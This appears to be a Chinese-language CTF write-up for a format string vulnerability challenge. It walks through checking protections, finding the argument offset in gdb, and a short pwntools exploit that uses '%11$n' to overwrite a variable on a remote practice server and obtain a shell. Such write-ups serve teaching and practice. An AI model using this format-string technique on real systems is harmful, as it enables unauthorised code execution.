这一题是一道格式化字符串漏洞题
关于格式化漏洞的基础,你可以看我前面的博客,里面有提到:https://blog.csdn.net/qq_43986365/article/details/94896862
拿到这一题,我们仍然是先查看保护:
我们可以看到,简单的格式化漏洞题只开了NX和CANARY保护,好的。
接下来我们就可以进入IDA中看一下程序的具体逻辑:
在这里,我们可以看到有一个明显的格式化字符串漏洞,利用%n的特殊性,我们可以把已经输出的字节个数打印到参数的任意位置(一个buf,他的赋值参数不一定是第一个)。
在这里我们只需要将x的值赋为4就可以拿到shell了。
让我们来看看这个buf的参数位置是哪个:
进入gdb,我们先下一个断点在格式化字符串漏洞之前:
在第一个printf()处下断点并且运行,输入多个a字符,接着查看参数:
x/16wx $esp的意思是以16进制查看esp处的参数,我们可以看到赋值参数在第11位(a的ACSII码的16进制是0x61)。
了解了这些之后,我们就能构造payload了。
完整的exp如下:
#!/usr/bin/env python
from pwn import *
p=remote('pwn2.jarvisoj.com',9895)
x_addr=0x0804a02c
payload=p32(x_addr)+'%11$n'
p.sendline(payload)
print p.recv()
p.interactive()
运行结果如下: